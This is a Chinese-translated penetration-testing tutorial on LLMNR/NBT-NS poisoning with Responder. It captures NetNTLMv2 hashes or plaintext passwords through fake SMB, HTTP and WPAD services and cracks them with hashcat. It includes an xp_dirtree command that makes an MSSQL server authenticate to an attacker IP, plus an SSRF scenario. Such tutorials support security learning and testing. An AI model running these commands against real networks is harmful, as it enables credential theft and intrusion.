AD 侦查-LLMNR 毒化

本文通过 Google 翻译 AD Recon – LLMNR Poisoning with Responder 这篇文章所产生，本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

导航

• 0 前言
• 1 LLMNR 毒化简介
• 2 LLMNR 毒化（SMB）
  • 2.1 Responder 如何毒害 SMB
  • 2.2 Responder 启动设置
  • 2.3 Responder 捕获哈希：错误的共享
• 3 LLMNR 毒化 (HTTP[S])
  • 3.1 Responder 如何毒害 HTTP[S]
  • 3.2 Responder 启动设置
  • 3.3 Responder 捕获用户哈希：错误的 URL
  • 3.4 直接抓取明文
• 4 LLMNR 毒化 (WPAD/DHCP)
• 5 破解 NetNTLMv2 哈希
• 6 场景示例
  • 6.1 从 MSSQL 获取 NetNTLMv2 哈希
  • 6.2 从 SSRF 漏洞获取 NetNTLMv2 哈希

---

0、前言

在这篇文章中，我们将介绍 LLMNR 毒化的概念。为了实施 LLMNR 投毒，我们将使用名为 Responder 的工具执行 MITM（中间人）攻击。使用此工具，我们将了解如何介入用户的 SMB、HTTP[S]、WPAD 和 DHCP 请求，从而捕获 NetNTLMv2 哈希值并使用 hashcat 去破解它。

此外，我们还将介绍 responder.py 的另外两个用例，它们更像 CTF，但仍然非常酷。

1、LLMNR 毒化简介

LLMNR 是基于 DNS 的 Windows 内置协议，用于解析局域网络上的主机名。该协议是 DNS 的备用协议，当 DNS 无法识别主机名时，系统会使用该协议尝试识别主机名。Windows 中有许多服务都依赖 DNS 来解析主机名，这也意味着会有许多服务可以在 DNS 和 LLMNR 请求之间进行切换。

注：LLMNR 类似于 mDNS，它们的工作原理基本相同，都是为了解决在局域网内无需 DNS 服务器也能解析主机名的需求（以多播的方式）。

只不过 LLMNR 是 Microsoft 自定义的协议在 Windows 系统中使用已久，而 mDNS 是 IETF 标准制定的协议在非 Windows 系统更常见。但 Windows 似乎也在逐渐弃用 LLMNR 而改用 mDNS 中。

Windows 下域名解析顺序：Hosts 文件 → DNS 缓存 → DNS 服务器 → LLMNR 多播 → NetBIOS 广播 → mDNS

LLMNR 的缺陷在于：它信任局域网中任何主机的响应，这导致它极易被滥用进行“名称欺骗”（Name Spoofing）和“中间人攻击”，从而间接触发身份验证并泄露 NTLM 凭据。【注：Windows 的“自动认证”机制更是加强了这种攻击的威力。】

注：Windows“自动认证”机制即，在非交互式的命令行或进程中进行共享资源的访问时，Windows 会自动使用当前用户缓存的 NTLM 哈希凭据向目标发起 NTLM 身份验证。

这种攻击有一个注意事项项就是，请求的域名/主机名必须得是 DNS 无法解析的名称，这意味着用户需要请求一个不存在的域名/主机名的资源。

Responder 是一种通过对 LLMNR、NBT-NS 和 mDNS 协议进行投毒来执行 MITM 攻击的工具，同时它还内置了许多常见的伪造服务器（如 SMB、LDAP、HTTP[S]、RDP、WinRM 等），来骗取前来请求的用户凭证。

注：Inveigh 是一个拥有和 Responder 类似功能的工具，可作为替代选项。

2、LLMNR 毒化（SMB）

2.1、Responder 如何毒害 SMB

1. 受害者访问一个不存在的共享 \\printer\share 。【或在某些文件中嵌入的 UNC 路径】
2. DNS 无法解析该名称，于是系统广播 LLMNR 进行查询 printer。
3. 攻击者监听到查询并伪造响应，假称自己就是 printer。
4. 受害者尝试连接攻击者提供的伪造服务 SMB。
5. 受害者系统会使用当前用户凭据自动发起 NTLM 身份验证。
6. 攻击者捕获 netNTLMv2 哈希并尝试破解。

2.2、Responder 启动设置

首先，使用 ip a 命令查看当前攻击机的哪张网卡和目标网络可通。

然后，使用如下命令启动 Responder：

responder -I eth0 -v

注：新版 Responder (3.1.4.0) 已取消 -rf 选项，但作者使用的 Responder 3.0.7.0 的版本支持此选项。

responder 默认会将重复捕获到的用户的 NetNTLM 哈希屏蔽掉，此时我们可以通过添加 -v 选项来取消屏蔽。取消屏蔽之后可能会看到同一个用户会对应很多不同的 NetNTLM 哈希，此时我们只需任选其一即可，最终破解的效果都是一样的。

2.3、Responder 捕获哈希：错误的共享

此时，我们假设用户在尝试访问名为“share”的共享时不小心输入错误，结果访问成“sahre”了会怎样。

在输入一个凭证后，用户将无法连接，并且由于资源不存在，将收到“无法访问”的错误消息。

然而，在用户看到弹出的登录框之前，损失就已经造成了。在用户输入共享名称并回车的那一刻，不管接下来用户面对弹出的登陆框输入账户密码还是不输入，用户都已经提供了它们当前账户的 NetNTLMv2 哈希值来验证共享，而 Responder 截获了该请求。

回到攻击者机器，我们看到 Responder 拦截了请求并转储了用户的名称、IP 地址和 NetNTLMv2 哈希。

虽然 NetNTLMv2 哈希值无法被用于传递哈希攻击，但可以尝试破解它。此外，还有一种方法可以利用它中继到另一台机器上，但这种方法我们会在后面的文章中再进行介绍。

3、LLMNR 毒化 (HTTP[S])

3.1、Responder 如何毒害 HTTP[S]

• 受害者访问一个错误的 url 链接 http://test/ 或 https://test/。
• DNS 无法解析该名称，于是系统广播 LLMNR 进行查询 test。
• 攻击者监听到查询并伪造响应，假称自己就是 test。
• 受害者尝试连接攻击者提供的伪造服务 HTTP[S]。
• 受害者系统会使用当前用户凭据自动发起 NTLM 身份验证。
• 攻击者捕获 netNTLMv2 哈希并尝试破解。

3.2、Responder 启动设置

同上节一样，使用如下命令启动 Responder：

responder -I eth0

3.3、Responder 捕获用户哈希：错误的 URL

在 Responder 运行时，我们可以使用 Firefox 展示此示例，并查看当用户在输入错误的 URL 时会发生什么。

访问上述网址之后，用户将看到“警告：前方存在潜在安全风险”的消息。然而，这在内部网络中很常见，因为它们使用私有 SSL 证书托管其网站，这与 Responder 托管的证书相同。

在接受风险并继续正常操作后，回到 Responder 可以看到他们的 NetNTLMv2 哈希已被捕获。

3.4、直接抓取明文

此外，我们也可以为 Responder 添加 -b 选项以强制其使用基本身份验证功能。此时，用户在访问错误的 URL 时，会弹出一个登录提示框，用户在登陆框中输入的账户密码信息会在后台明文显示。但这种方式不够屏蔽，而且如果用户直接关闭提示，那么我们连目标当前用户的 NetNTLMv2 哈希也捕获不到了。

responder -I eth0 -b

• '-b' = 返回基本 HTTP 身份验证（纯文本密码）。

继续刚才的 URL 访问，我们会看到一个登录提示窗口。

当输入账户密码，然后返回 Responder 时，可以看到我们获得了用户的明文密码！

4、LLMNR 毒化 (WPAD/DHCP)

（1）毒化 WPAD 是利用了 Windows 网络代理自动检测的功能，该功能默认启用，当浏览器打开时，浏览器会自动下载 http://wpad/wpad.dat 代理规则，而 wpad 这个域名在现实网络中是不存在的（即错误的域名），于是就会触发 LLMNR 广播寻找该域名，进而自动进入了 LLMNR 毒化 HTTP[S] 的流程，进而获得目标系统当前用户的 NetNTLMv2 哈希。

（2）毒化 DHCP 是利用了主机自动获取 IP 的特性，当目标主机自动获取 IP 时，Responder 会与真实的 DHCP 服务器抢夺分配 IP 权，如果 Responder 抢到了，那么分配给目标主机的信息中会包含 WPAD 相关的配置，于是就进入了上述的步骤。

注：WPAD 的毒化目前似乎只对 IE 浏览器有效果，对于 Chrome、Firefox、Edge 不产生作用，它们似乎有着独属于自己的自动检测代理功能，不再依赖 Windows 自带的 WPAD 功能。【WPAD 毒化的实验可参考这篇文章】

DHCP 的毒化成功率似乎并不佳，此处不再阐述。

5、破解 NetNTLMv2 哈希

上面我们探索了三种不同的方法来使用 Responder 捕获用户 NetNTLMv2 哈希，但是可以用它们做什么呢？

首先，需要注意的是，Responder 会将其捕获的每个哈希转储一份在 /usr/share/responder/logs 目录，通过文件的名称我们可以直到该哈希是通过哪种方法捕获的。

最酷的是，这些文件中的哈希均已格式化，可以直接拿去让 Hashcat 进行破解！

为了找到此哈希类型所对应的 hashcat 破解模式，我们可以使用以下命令查询：

注：Responder 捕获到的不一定都是 NetNTLMv2，NetNTLMv1 也很常见。此外，其伪造的服务虽然大多都支持 NetNTLM 认证，但也有不支持的，如 FTP，捕获 FTP 的凭证时得到的就是明文显示，而不是哈希。

hashcat -h | grep -i "netntlmv2"

之后使用以下命令破解哈希：

hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-172.16.1.100.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

几秒钟后，哈希便被破解了！【注：破解成功时，其 Status 显示Cracked，否则是 Exhausted。】

6、场景示例

正如文章开头所说，我们还有两个通过使用 Responder 捕获哈希的例子需要展示，示例如下：

6.1、从 MSSQL 获取 NetNTLMv2 哈希

在这个例子中，假设我们得到了一个 MSSQL 的凭证（reporting），并使用 Impacket 套件中的 mssqlclient.py 工具成功登录到了目标的 MSSQL 数据库。

mssqlclient.py -p 1433 reporting@10.10.10.125 -windows-auth

同时，使用以下命令启动 Responder：

responder -I tun0

然后，通过在 SQL shell 中执行以下命令来转储 MSSQL 服务所有者的哈希：

exec master..xp_dirtree '\\10.10.14.2\test'

以上命令将尝试连接到攻击者机器上名为“test”的共享。当尝试连接共享时，MSSQL 服务会将服务启动账户的 NetNTLMv2 哈希值提交到攻击机，请求连接到我们的共享，此时 Responder 会拦截此请求并转储 NetNTLMv2 哈希值。

6.2、从 SSRF 漏洞获取 NetNTLMv2 哈希

SSRF（服务器端请求伪造）是一种网络安全漏洞，通过该漏洞攻击者可以强制服务器连接到任意外部系统，从而可能泄露授权凭据等敏感数据。

在这个例子中，我们发现目标站点提供了一个具有 URL 搜索功能的网页。

为了测试该网页是否存在 SSRF 漏洞，我们将在攻击机的 445 端口上启动一个 HTTP 服务器，然后尝试在搜索栏中访问它。

访问正常，这表明该服务器存在 SSRF 漏洞！

接着，我们在网页中访问一个不存在的资源，以期望 Responder 可以捕获网站所有者的 NetNTLMv2 哈希。

responder -I tun0

从上面可以看到，Responder 成功捕获到了用户的 NetNTLMv2 哈希。